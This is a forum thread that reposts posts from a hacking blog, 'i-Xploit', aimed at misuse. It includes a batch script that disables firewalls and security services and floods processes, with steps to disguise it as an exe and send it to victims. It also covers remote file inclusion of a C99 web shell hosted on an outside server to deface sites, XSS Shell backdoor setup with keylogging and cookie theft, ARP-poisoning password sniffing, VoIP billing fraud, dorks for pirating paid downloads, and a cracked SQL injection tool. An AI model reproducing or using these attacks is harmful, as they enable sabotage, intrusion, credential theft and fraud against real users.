Threaded Mode | Linear Mode

thanhlongx4 · 18-02-2011, 12:29 AM

i-Xploit

All about hacks and exploits, hacking tools, earning tricks, blogger tricks, orkut tricks, and many more...

Make Free Calls Worldwide
Posted on: 28 September 2010, 2:20 am
First go to:

INSTALL

After it is fully installed, open friend caller from desktop. Then register.

-

Better to you temp mails like mailinator,eyepaste,yopmail etc ;)

Now go to your email and confirm your account and you will be credited $ 0.10 for free calls. So you can only call for 10 seconds for free but this what I made this tut so you can call free.

Now login.

Then click on phone Icon.

Now open cheat engine. [ Download it from http://u.bb/QK]

Now click on open process.

Then click on window list.

Then select friend caller. And open it.

Now dial number in friend caller. [First test your own number] and click call.

Now it will start ringing:.

Now in cheat engine, enable speed hack. Edit speed to 0.00

If you have any query, comment below.
Create Undetectable Batch File
Posted on: 10 September 2010, 6:05 am
Hello,this is a tutorial showing you how to make a batch file undetectable.

First,if you want to make your way thru the computer and not be seen or something,easiest way is to shutdown all firewalls/security.

To do that you have to type in the following inside Notepad:

Code:

@echo off

net stop “Security Center”

net stop SharedAccess

netsh firewall set opmode mode=disable

hat will stop the Security Center

Shared Access and Firewall.

Save the file as something.bat

But this will probably fail because when the AV detects that it is a batch file it will automatically delete it.

So What to do?

Exe:

Download nBinder Pro:

http://www.midload.com/en/file/29192/nbinder-rar

mirror

http://rapidshare.com/files/109795148/nbinder.rar

pass: linkzshare.net

NBinder pro is a Binder/Converter/Icon Changer

Download,and open.

Click Add..

And add the batch file.

Then you can bind it with self.

By simply clicking Bind.

That will convert the batch to .exe

And then you change the icon.

Com:

Download:

Bat2COM

And convert it.

When it is converted,send it to someone,and when he runs it he will see nothing,but a cmd window open and close.

But what he doesn't see is that his firewall,security has closed.

Now,to make the batch a little more dangerous.

Code:

@echo off

net stop “Security Center”

net stop SharedAccess

netsh firewall set opmode mode=disable

echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"

:virus

start cmd.exe

start command.com

start mspaint.exe

goto :virus

So basically shuts down all security.

Makes a new batch file at startup which inside is the command shutdown -s

Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.

Watch the CPU usage go up.
Hack websites using Remote file inlcusion
Posted on: 29 August 2010, 5:37 am
I receive many E-mails on How To Hack websites so, today I will demonstrate how hackers use remote file inlcusion to deface websites.

Requirements

C99 shell

First of all visit google and type

"index.php?page="

This will show all the pages which have index.php?page=" in their url, RFI vulnerabilities only work on those sites which have index.php?page= in their url.

Now lets say that the website is as follows:

www.targetsite.com/index.php?page=something

so to check the vulnerability we will replace the something to Google or any other site now if Google homepage shows up this means that the website is vulnerable to the attack.The url will look like

www.targetsite.com/index.php?page=www.google.com

Once we know that the website is vulnerable to the attack we will now include the c99 shell.To do it download the c99 shell and then upload it to a webhosting site such as Ripway.com or 110mb.com

Once the shell is uploaded you will have a unique url for your shell lets say it is

www.webhostingsite.com/c99.txt

Now to execute the shell in order to gain access to the website we will do as follows

http://www.targetsite.com%2Findex.php%3Fpage%3Dwww.webhostingsite.com%2Fc99.txt%3F

Dont forgett the "?" or else it wont be executed.

Remeber this does not work on all websites so the key is to try and try and try and try!
XSS Shell v0.3.9 – Cross Site Scripting Backdoor Tool
Posted on: 2 April 2010, 6:11 am
XSS Shell is a powerful XSS backdoor which allows interactively getting control over a Cross-site Scripting (XSS) vulnerability in a web application. Demonstrates the real power and damage of Cross-site Scripting attacks.

WHAT IS XSS SHELL ?

XSS Shell is powerful a XSS backdoor and zombie manager. This concept first presented by XSS-Proxy (http://xss-proxy.sourceforge.net/). Normally in XSS attacks attacker has one shot, in XSS Shell you can interactively send requests and get responses from victim, you can backdoor the page.

You can steal basic auth, you can bypass IP restrictions in administration panels, you can DDoS some systems with a permanent XSS vulnerability etc. Attack possibilities are limited with ideas. Basically this tool demonstrates that you can do more with XSS.

FEATURES

XSS Shell has several features to gain whole access over victim. Also you can simply add your own commands.

Most of the features can enable or disabled from configuration or can be tweaked from source code.

Features:
- Regenerating Pages
- Keylogger
- Mouse Logger (click points + current DOM)
Built-in Commands:
- Get Keylogger Data
- Get Current Page (Current rendered DOM / like screenshot)
- Get Cookie
- Execute supplied javaScript (eval)
- Get Clipboard (IE only)
- Get internal IP address (Firefox + JVM only)
- Check victim’s visited URL history
- DDoS
- Force to Crash victim’s browser
Install Admin Interface;

1. Copy "xssshell" folder into your web server

2. Copy "db" to a secure place (below root)

3. Configure "database path" from "xssshell/db.asp"

4. Modify hard coded password in db.asp [default password is : w00t]

5. Now you can access admin interface from something like http://[YOURHOST]/xssshell/

Configure XSS Shell for communication;

1. Open xssshell.asp

2. Set "SERVER" variable to where your XSSShell folder is located. i.e: "http://[YOURHOST]/xssshell/";

3. Be sure to check "ME", "CONNECTOR", "COMMANDS_URL" variables. If you changed filenames, folder names or some kind of different configuration you need modify them.

Now open your admin interface from your browser,

To test it, just modify "sample_victim/default.asp" source code and replace "http://attacker:81/release/xssshell.js" URL with your own XSS Shell URL. Open "sample_victim" folder in some other browser and may be upload in to some other server.

Now you should see a zombie in admin interface. Just write something into "parameters" textarea and click "alert()". You should see an alert message in victim's browser.

-------------------------

SECURITY NOTES

-------------------------

- As a hunter be careful about possible "Backfire" in getSelfHTML(). Someone can hack you back or track you by another XSS or XSS Shell attack.

   - Checkout "showdata.asp" and implement your own "filter()" function to make it safer for you.

- Put "On error resume next" to db.asp, better modify your web server to not show any error.

-------------------------

HOW CAN YOU EXTEND?

-------------------------

First implement it to xssshell.asp

   1) Add new enum for your control

       - Set a name and unique number like "CMD_GETCOOKIE"

           - var CMD_SAMPLE = 78;



       - Set datatype for your response (generally TEXT),

           - dataTypes[CMD_SAMPLE] = TEXT;



   2) Write your function and add it to page

       - function cmdSample(){return "yeah working !"}



   3) Call it

       - Go inside to "function processGivenCommand(cmd)"

       - Add a new case like "case CMD_SAMPLE:"



   4) Report it back

       - Inside the case call log;

       "log(cmdSample(), dataTypes[cmd.cmd], cmd.attackID, "waitAndRun()");"



Secondly Implement it to admin interface;

   - In db.asp just add a new element to "Commands" array (command name, command unique number, description).

   i.e. "cmdSample()",78,"Command sample ! Just returns a message"

There are parameters and lots of helper in the code. Check out other commands for reference.

Enable debug feature to debug your new commands easily.

-------------------------

KNOWN BUGS;

-------------------------

- Keylogger is not working on IE

- Possibly not going to work for framed pages because of frame regeneration.

- Not working on Konqueror

DOWNLOAD:

http://www.ziddu.com/download/9267912/XSSShell039.zip.html
10 Tricks to Xploit SQL Sites
Posted on: 2 April 2010, 5:56 am
Whether it is through manual poking and prodding or the use of securitytools, malicious attackers employ a variety of tricks to break into SQL server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.testing

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield?s Port Report shows just how many systems are sitting out there waiting to be attacked. I don?t understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or thedatabase system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assesment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.?s NGSSquirrel for SQL Server (for database-specific scanning). They?re easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

Figure 1: Common SQL injection vulnerabilities found using WebInspect.

3. Enumerating the SQL Server Resolution Service

Running on UDP port 1434, this allows you to find hidden database system. Chip Andrews? SQLPing v 2.5 is a great tool to use to look for SQL server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren?t listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434. instances and probe deeper into the[/COLOR]

4. Cracking SA passwords

Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS software Ltd. also have this capability.

5. Direct-exploit attacks

Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.

Figure 2: SQL Server vulnerability exploitable using Metasploit?s MSFConsole.

6. SQL injection

SQL injection attacks are executed via front-end Web applications that don?t properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informativeprefer to perform the follow-through using an automated tool, such as SPI Dynamics? SQL Injector, shown in Figure 3.

Figure 3: SPI Dynamics? SQL Injector tool automates the SQL injection process. errors, commands being executed and more. These attacks can be carried out manually ? if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I

7. Blind SQL injection

These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn?t receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that?s where Absinthe, shown in Figure 4, comes in handy.

Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.

8. Reverse engineering the system

The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you?ll find a discussion about reverse engineering ploys.

9. Google hacks

Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors ? such as ?Incorrect syntax near? ? leaking from publicly accessible systems. Several Google queries are available at Johnny Long?s Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web Servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google?s ?site:? operator often turns up juicy info you never imagined you could unearth.

10. Perusing Web site source code

Source Code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second
Earn $45 per month. Guaranteed.
Posted on: 24 March 2010, 5:09 am

EARN $45 PER MONTH. GUARANTEED.
Get Paid Stuffs For Free Using Black Hat SEO Technique.
Posted on: 5 March 2010, 7:56 am
I am going to show you how you can download almost anything for FREE. This technique does not include torrents or Lime Wire or anything like that, it includes black hat SEO technique on Google. You may think to yourself there is no way that Google can be hacked but you would be very wrong. There is a way to hack Google and download almost anything.

There are a few different ways to accomplish this but they are all very similar.

Google Hack Technique 1

Go to your favorite search engine, aka Google and type this in;

“Clickbank/keynetics will appear” + keyword

All you have to do is replace “keyword” with what you are looking for. Let’s say you are looking for SEO Elite, you would type;

“Clickbank/keynetics will appear” + seoelite

Google will give you a bunch of the results, you just have to go through some of them until you find what you are looking for; pretty simple isn’t it. Let’s move on.

Google Hack Technique 2

Again go to Google and type this in;

“http://thank-you-for-your-purchase-cbreceipt.blogspot.com”

As you can see what we are essentially doing is looking for that “Thank You” page. Every seller has a thank you page and if we can get to that page it is very likely that it will contain the download link.

Google Hack Technique 3

Same as in the first 2 steps we are looking for the statement that is likely to be on the thank you page. Type this into Google and you will be able to download items found on Click Bank site;

“Your credit card or bank statement will show a charge by ClickBank.”

However if you are still not satisfied and are not in the mood to hack Google you can simply download THIS FILE that will give you locations of more than 1300 downloads to various software’s and e-books. It might take you a lot of time to go through it all, I honestly haven’t even tried, but it will pay off in the end, you will find what you are looking for.

Conclusion

As you can see there are some “keywords” that you will need to use when hacking Google such as “thank you for your purchase” or ”your bank statement will show a charge” etc., be creative and the sky will be the limit. To help you out with the creativity part I have included some common keywords used when hacking Google. Good luck hunting.

KEYWORDS:

Order Confirmation

Order Confirmed

wso………. short for “Warrior Special Offer”

wso plr

wso thanks

wso thank you

wso ty

wso download

“a charge from clickbank”

inurl:cbreceipt

inurl:cbreceipt=

cbreceipt=

cbreceipt

cbreceipt click

Thank you for your order

Thank you for your purchase

Thanks for your order

Thanks for your purchase

Thanks for purchasing… [name of the ebook]

plr thank ty

Your credit card or bank statement will show a charge from CLKBANK*com

A charge from CLKBANK

A Charge from paypal

Paypal payment or paypal payment confirmed

Paypal Statement

CLKBANK “save as”

CLKBANK Download instructions

CLKBANK*com

CLKBANK “right click”

CLKBANK click

Download the latest version of adobe acrobat reader

“right click” “save target as”

“right click” save

“right click” “save file as”

Click here to download

“Save target as”

“Save file as”

receive future updates

username is password is

username: password:

Members

Members area

thank you for your order +download

Congratulations on your investment.

Your credit card statement will show a charge

priv.htm

priv (no .htm, this will display any files under the folder named priv)

members

Your credit card or bank statement will show a charge from CLKBANK.com

A charge from CLKBANK

A Charge from paypal

Paypal payment or paypal payment confirmed

Paypal Statement

CLKBANK save as

CLKBANK Download instructions

CLKBANK*com

cbreceipt or cbreceipt click

CLKBANK right click or CLKBANK click

Download the latest version of adobe acrobat reader

right click save target as

right click save

right click save file as

Click here to download

Save target as

Save file as

recieve future updates

username is password is

username: password:

Members or Members area

Thank you for your order

Thank you for your purchase

Thanks for your order

Thanks for your purchase

Thanks for purchasing……

Order Confirmation

Order Confirmed

wso…………….short for “Warrior Special Offer”

wso plr

wso thanks

wso thank you

wso ty

wso download

plr thank

…and then add the product name on the end of it.

private

ebook.htm

yourebook.htm

myebook.htm

ebook.pdf

yourebook.pdf

myebook.pdf

nameofebook.pdf (replace nameofebook.pdf with actual name)

index.of title_of_ebook.pdf

shortversionofebook.pdf (if there’s an acronym for the ebook)

promember.htm

thankyou1.htm

secrets.htm

thankyou.htm

thank-you.htm

thank_you.htm

download.htm

downloadlink.htm

downloadpage.htm

members.htm

private.htm

hidden.htm

downlink.htm

down-link.htm

down_link.htm

download.htm

downloadpage.htm

download-page.htm

download_page.htm

verified.htm

paidmember.htm

paid-member.htm

paid_member.htm

verifiedmember.htm

verified-member.htm

verified_member.htm

alert.htm

alert

resources

resources.htm

Please leave your comments if u have any queries !!!
Earn more than $765 per month!!!
Posted on: 2 March 2010, 4:52 am
Earn More Than $765 Per Month
My SOLiDumper worth $50 cracked!!!
Posted on: 27 February 2010, 7:25 am

Requirements:

.Net Framework 3.5

DOWNLOAD FROM HERE:

http://www.ziddu.com/download/8760628/MySQLiDumper.rar.html

Screen shots:

Enter the vulnerable url in Num Blind and click on get page. Copy the union section and paste in Dump MySQL. Click Get Info for Database, Tables and Columns

Dump Brute: Used for Brute force attack

Tools: for cracking passwords and Hex vales

DOWNLOAD FROM HERE:

http://www.ziddu.com/download/8760628/MySQLiDumper.rar.html
Hack Computers using Cain and Abel
Posted on: 26 February 2010, 11:14 am

Cain and Abel (sometimes called simply "Cain") is a Windows password recovery tool. It can recover many kinds of passwords using methods such as network packet sniffing, cracking various password hashes by using methods such as dictionary attacks, brute force and cryptanalysis attacks. Cryptanalysis attacks are done via rainbow tables which can be generated with the winrtgen.exe program provided with Cain and Abel. Cain and Abel is maintained by Massimiliano Montoro.

Cain & Abel is a useful tool for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons.

Status with virus scanners

Some virus scanners, notably Avast! detect Cain and Abel as 'malware' "Win32:Cain-B [Tool]". It's classified in Avast! as "Other potentially dangerous program". The author, and owner of oxid.it states that his programs are not Malware. Even if Cain's install directory, as well as the word "Cain", are added to Avast's exclude list, the real-time scanner will stop Cain from functioning. The latest version of Avast no longer blocks

The Tutorial:

there are a few requirements.

* Download Cain and Abel from www.oxid.it

* Should have a switched LAN. (Most ISPs other than BSNL provide broadband via LAN, e.g. SIFY, HATHWAY, local Cable internet connections)

* Any Microsoft Windows operating system.If you are not sure about being on a switched network, continue the steps, until you find out.

1. Download and install Cain and Able from the link given above.

2. Start Cain and Abel (requires admin privileges in Vista), go to the sniffer tab, click on the configure menu, select your NIC, check 'start sniffer on startup', press 'OK'.

3. Click on the 'Start / Stop Sniffer' (the 2nd) button on the toolbar. Now click the blue '+' (plus) sign (this is the 7th button on the toolbar). Check 'All Tests' and click 'OK'.

4. After the scan is complete, if you are on a switched network then, you must be able to see many IP and MAC addresses in this pane. If you don't see any IP other than your own, probably you are not on a switched network.

5. Notice the tabs on the bottom, HOSTS, APR, Routing, Passwords, and VoIP. You are currently on the HOSTS tab, select the APR tab click on the 'top pane' and click the 'blue +' (7th on toolbar).

6. Now you will again see the IP & MAC address (in the left pane) you saw in Step 5. From this list, select your 'Gateway IP', (this will mostly be something like 192.xxx.xxx.1 or 10.xxx.xxx.1 etc; check your network properties for more info on gateway.) after selecting your 'Gateway IP Address' (now some IP will appear on the right); drag and select all the entries in the right pane, and click 'OK'.

7. Now click on the 'Start/Stop APR' (the 3rd) button on the toolbar. You will see 'HALF ROUTING' and 'FULL ROUTING' entries in the lower pane.

8. Now go to the Passwords tab on the bottom. Slowly you will see passwords appearing in this section; most will be under HTTP.

The password section gives you full details on the capture, including Username, password, URL, etc. Any person who was online during the time you completed Steps 3 – 5, will be affected, and you will have access to their passwords.

or view at

Code:

http://feeds.feedburner.com/i-xploit

King XII · 18-02-2011, 10:16 PM

Its awesome information about the i-Xploit.
I'm never seen this before on any forum or any kind of web
Thanks to share this awesome topic with us.

rudolfhitler · 05-04-2011, 09:56 PM

Making money online affairs addition cartage bearing artefact which will allure abounding internet marketers in this allotment of the botheration of cartage with targeted to a specific alcove is the key. Auto cartage I am abashed Our agony may be instead of the Xploit.